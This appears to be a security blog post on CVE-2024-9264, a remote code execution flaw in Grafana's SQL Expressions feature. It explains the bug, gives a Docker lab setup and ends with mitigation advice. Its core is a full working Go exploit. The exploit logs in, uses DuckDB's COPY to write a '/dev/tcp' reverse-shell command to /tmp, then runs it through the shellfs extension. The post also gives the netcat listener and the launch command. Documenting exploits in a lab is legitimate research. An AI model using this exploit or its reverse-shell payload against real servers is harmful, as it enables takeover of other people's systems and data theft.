Introduction
CVE-2024-9264 is a critical security vulnerability that affects Grafana, a popular open-source platform for visualizing metrics and logs. This vulnerability, stemming from the newly introduced SQL Expressions feature, allows for remote code execution (RCE) and local file inclusion (LFI) attacks. This blog post will delve into the technical details of the vulnerability, its potential impact, and mitigation strategies.
Understanding the Vulnerability
This security concern centers around an newly introduced data processing capability in Grafana called SQL Expressions which enables post-query manipulation of datasource results. This feature interfaces with a DuckDB command-line utility to process DataFrame information through SQL operations. The design allows SQL queries to be executed directly against the data, but insufficient input validation created pathways for both command execution and file system access.
Due to a suboptimal configuration of feature toggles, this beta functionality remains active at the API level without explicit activation. One critical caveat exists - exploitation requires the target system to meet a specific prerequisite: the DuckDB executable must be discoverable within the environmental PATH variable of the Grafana service process.
A notable safety barrier is that Grafana's default distribution does not bundle the DuckDB binary. Therefore, successful exploitation hinges on whether DuckDB has been manually installed and properly configured in the system's PATH that Grafana can access. Systems without properly configured DuckDB installation remain protected from this vulnerability vector.
Key Vulnerability Details:
Vulnerable Component: SQL Expressions feature
Attack Vector: Malicious SQL queries injected by authenticated users
Impact: Remote code execution and local file inclusion
Required User Privilege: Viewer or higher
Technical Breakdown
Malicious SQL Query Injection:
An attacker can craft a malicious SQL query that includes system commands or file paths within the query string.
When Grafana processes this query, it fails to sanitize the input correctly, leading to the execution of the malicious code.
Command Injection:
By injecting system commands into the SQL query, an attacker can execute arbitrary commands on the underlying system. This could involve reading sensitive files, modifying system configurations or even launching network attacks
Local File Inclusion:
By injecting file paths into the SQL query, an attacker can access and potentially download sensitive files from the system. This could expose confidential information or provide further attack vectors.
Exploitation Scenarios
Remote Code Execution: An attacker could compromise the entire Grafana server, potentially gaining control over the underlying system. This could lead to data theft, system disruption, or further attacks on other systems within the network.
Local File Inclusion: An attacker could access sensitive configuration files, source code, or other confidential data stored on the server. This information could be used to launch targeted attacks or exploit other vulnerabilities.
Proof of Concept
For reproducing and analyzing this CVE-2024-9264, we need a controlled environment that meets the specific prerequisites for the vulnerability. The lab setup for this PoC utilizes Docker to deploy a Grafana instance (version 11.0.0) with the required DuckDB binary.
The configuration will need a custom Dockerfile that extends the official Grafana Ubuntu-based image, ensuring DuckDB CLI (version 1.1.2) is properly installed and accessible within Grafana's execution environment.
Below is a snapshot of my laptop setup as I work through the Docker configurations needed for our lab environment.
Alright, lets get back to PoC. We will be using the following Dockerfile:
FROM grafana/grafana:11.0.0-ubuntu
USER root
RUN apt-get update && apt-get install -y && apt-get install unzip -y \
wget \
&& wget https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip \
&& unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
&& chmod +x /usr/local/bin/duckdb \
&& rm duckdb_cli-linux-amd64.zip
ENV PATH="/usr/local/bin:${PATH}"
And following docker compose (make sure the above Dockerfile exists in the same directory):
version: '3.8'
services:
grafana:
build:
context: .
dockerfile: Dockerfile
container_name: grafana
ports:
- "3000:3000"
environment:
- GF_SECURITY_ADMIN_USER=admin
- GF_SECURITY_ADMIN_PASSWORD=password
volumes:
- grafana_data:/var/lib/grafana
volumes:
grafana_data:
Now we can simply get our vulnerable target up and running by:
docker compose up --build
Once the container is up, we can verify the installation on http://localhost:3000
Alright, its time to exploit this CVE and pwn the target to get a reverse shell out of it.
We will use the following exploit script in go lang to execute our exploit vector against the live target we have just hosted in our environment:
package main
import (
"bytes"
"encoding/json"
"flag"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/http/cookiejar"
"time"
)
type SecurityConfig struct {
GrafanaURL string
Credentials struct {
Username string
Password string
}
RemoteEndpoint struct {
IP string
Port string
}
Client *http.Client
AuthToken string
}
type GrafanaQuery struct {
Datasource struct {
Name string `json:"name"`
Type string `json:"type"`
UID string `json:"uid"`
} `json:"datasource"`
Expression string `json:"expression"`
Hide bool `json:"hide"`
RefID string `json:"refId"`
Type string `json:"type"`
Window string `json:"window"`
}
type QueryPayload struct {
Queries []GrafanaQuery `json:"queries"`
}
func NewSecurityConfig() *SecurityConfig {
jar, err := cookiejar.New(nil)
if err != nil {
log.Fatal(err)
}
return &SecurityConfig{
Client: &http.Client{
Jar: jar,
Timeout: 30 * time.Second,
Transport: &http.Transport{
MaxIdleConns: 10,
IdleConnTimeout: 30 * time.Second,
DisableCompression: true,
},
},
}
}
func (c *SecurityConfig) Authenticate() error {
payload := map[string]string{
"user": c.Credentials.Username,
"password": c.Credentials.Password,
}
jsonData, err := json.Marshal(payload)
if err != nil {
return fmt.Errorf("error marshaling auth payload: %v", err)
}
// First get the login page to capture CSRF token if any
resp, err := c.Client.Get(c.GrafanaURL)
if err != nil {
return fmt.Errorf("error getting login page: %v", err)
}
resp.Body.Close()
loginURL := fmt.Sprintf("%s/login", c.GrafanaURL)
req, err := http.NewRequest(http.MethodPost, loginURL, bytes.NewBuffer(jsonData))
if err != nil {
return fmt.Errorf("error creating request: %v", err)
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Accept", "application/json")
resp, err = c.Client.Do(req)
if err != nil {
return fmt.Errorf("authentication request failed: %v", err)
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
// Check for token in response headers
for _, cookie := range resp.Cookies() {
if cookie.Name == "grafana_session" {
c.AuthToken = cookie.Value
break
}
}
if c.AuthToken == "" {
// Try to get token from response body if it's there
var response map[string]interface{}
if err := json.Unmarshal(body, &response); err == nil {
if token, ok := response["token"].(string); ok {
c.AuthToken = token
}
}
}
log.Printf("Response status: %d\n", resp.StatusCode)
log.Printf("Response body: %s\n", string(body))
log.Println("✓ Authentication successful")
return nil
}
func (c *SecurityConfig) CveExploitTest() error {
endpoint := fmt.Sprintf("/dev/tcp/%s/%s", c.RemoteEndpoint.IP, c.RemoteEndpoint.Port)
payload := QueryPayload{
Queries: []GrafanaQuery{
{
Datasource: struct {
Name string `json:"name"`
Type string `json:"type"`
UID string `json:"uid"`
}{
Name: "Expression",
Type: "__expr__",
UID: "__expr__",
},
Expression: fmt.Sprintf("SELECT 1;COPY (SELECT 'sh -i >& %s 0>&1') TO '/tmp/cve_exploit';", endpoint),
Hide: false,
RefID: "SEC_TEST",
Type: "sql",
Window: "",
},
},
}
return c.sendSecurityPayload(payload, "security test preparation")
}
func (c *SecurityConfig) ExecuteExploitTest() error {
payload := QueryPayload{
Queries: []GrafanaQuery{
{
Datasource: struct {
Name string `json:"name"`
Type string `json:"type"`
UID string `json:"uid"`
}{
Name: "Expression",
Type: "__expr__",
UID: "__expr__",
},
Expression: "SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('bash
/tmp/cve_exploit |');",
Hide: false,
RefID: "SEC_EXEC",
Type: "sql",
Window: "",
},
},
}
return c.sendSecurityPayload(payload, "security test execution")
}
func (c *SecurityConfig) sendSecurityPayload(payload QueryPayload, operation string) error {
jsonData, err := json.Marshal(payload)
if err != nil {
return fmt.Errorf("error marshaling payload: %v", err)
}
url := fmt.Sprintf("%s/api/ds/query", c.GrafanaURL)
req, err := http.NewRequest(http.MethodPost, url, bytes.NewBuffer(jsonData))
if err != nil {
return fmt.Errorf("error creating request: %v", err)
}
// Add all required headers
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Accept", "application/json")
if c.AuthToken != "" {
req.Header.Set("X-Grafana-Token", c.AuthToken)
}
// Add query parameters
q := req.URL.Query()
q.Add("ds_type", "__expr__")
q.Add("expression", "true")
q.Add("requestId", fmt.Sprintf("SEC_%d", time.Now().Unix()))
req.URL.RawQuery = q.Encode()
resp, err := c.Client.Do(req)
if err != nil {
return fmt.Errorf("%s request failed: %v", operation, err)
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
log.Printf("Response status: %d\n", resp.StatusCode)
log.Printf("Response body: %s\n", string(body))
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("%s failed with status: %d", operation, resp.StatusCode)
}
log.Printf("✓ %s completed successfully\n", operation)
return nil
}
func main() {
config := NewSecurityConfig()
flag.StringVar(&config.GrafanaURL, "url", "", "Grafana URL (e.g., http://127.0.0.1:3000)")
flag.StringVar(&config.Credentials.Username, "username", "", "Grafana username")
flag.StringVar(&config.Credentials.Password, "password", "", "Grafana password")
flag.StringVar(&config.RemoteEndpoint.IP, "endpoint-ip", "", "Remote endpoint IP for Reverse Shell")
flag.StringVar(&config.RemoteEndpoint.Port, "endpoint-port", "", "Remote endpoint port for Reverse Shell")
flag.Parse()
if config.GrafanaURL == "" || config.Credentials.Username == "" ||
config.Credentials.Password == "" || config.RemoteEndpoint.IP == "" ||
config.RemoteEndpoint.Port == "" {
log.Fatal("All flags are required. Use -h for help")
}
if err := config.Authenticate(); err != nil {
log.Fatal("Authentication error:", err)
}
if err := config.CveExploitTest(); err != nil {
log.Fatal("Reverse shell preparation error:", err)
}
if err := config.ExecuteExploitTest(); err != nil {
log.Fatal("Error while triggering reverse shell:", err)
}
log.Printf("✓ Security assessment completed. Monitor endpoint %s:%s\n",
config.RemoteEndpoint.IP, config.RemoteEndpoint.Port)
}
Here's a technical breakdown of how the exploit works:The script first establishes a valid session with the Grafana instance using provided credentials. It maintains session state through cookies and captures authentication tokens for subsequent requests.
This stage exploits the SQL Expressions feature by:
Using DuckDB's COPY command to write a reverse shell command to a temporary file
Leveraging the unvalidated SQL query execution to perform file system operations
Constructing the reverse shell command with user-specified IP and port
The second stage activates the payload by:
Installing and loading the shellfs extension
Using DuckDB's extension system to execute system commands
Triggering the reverse shell through file system interaction
The exploit then delivers payloads through the vulnerable /api/ds/query endpoint (we can get a sample CURL of this API by intercepting the request using burpsuite when we create a new dashboard panel).
This exploit also require us to set up a listener for the incoming reverse shell connection out of target system.
nc -lvnp 4444
Now finally, we can execute the above script to exploit CVE-2024-9264 in the target app running at http://localhost:3000 (I have used the admin user in this case but we could use any user with minimum Viewer permission for this exploit to go through successfully)
go run exploit.go --url http://127.0.0.1:3000 --username admin --password password --endpoint-ip <REVERSE_IP> --endpoint-port <REVERSE_PORT>
Seems like the exploit went successful, let's check if we receive the reverse shell on our listener
Mitigation Strategies
Update Grafana: Install the latest security patch released by Grafana to address the vulnerability. This patch includes disabling the SQL expression feature to prevent malicious SQL injections.
Restrict User Permissions: Limit the number of users with Viewer or higher permissions. Implement strict access controls to minimize the potential impact of a successful attack.
Disable SQL Expressions (if not necessary): If the SQL Expressions feature is not essential for your use case, disable it to mitigate the risk.
Regular Security Audits and Penetration Testing: Conduct regular security assessments to identify and address potential vulnerabilities.
Conclusion
CVE-2024-9264 highlights the importance of keeping software up-to-date and implementing strong security practices. By following the mitigation strategies outlined in this blog post, organizations can effectively protect their Grafana deployments from this critical vulnerability.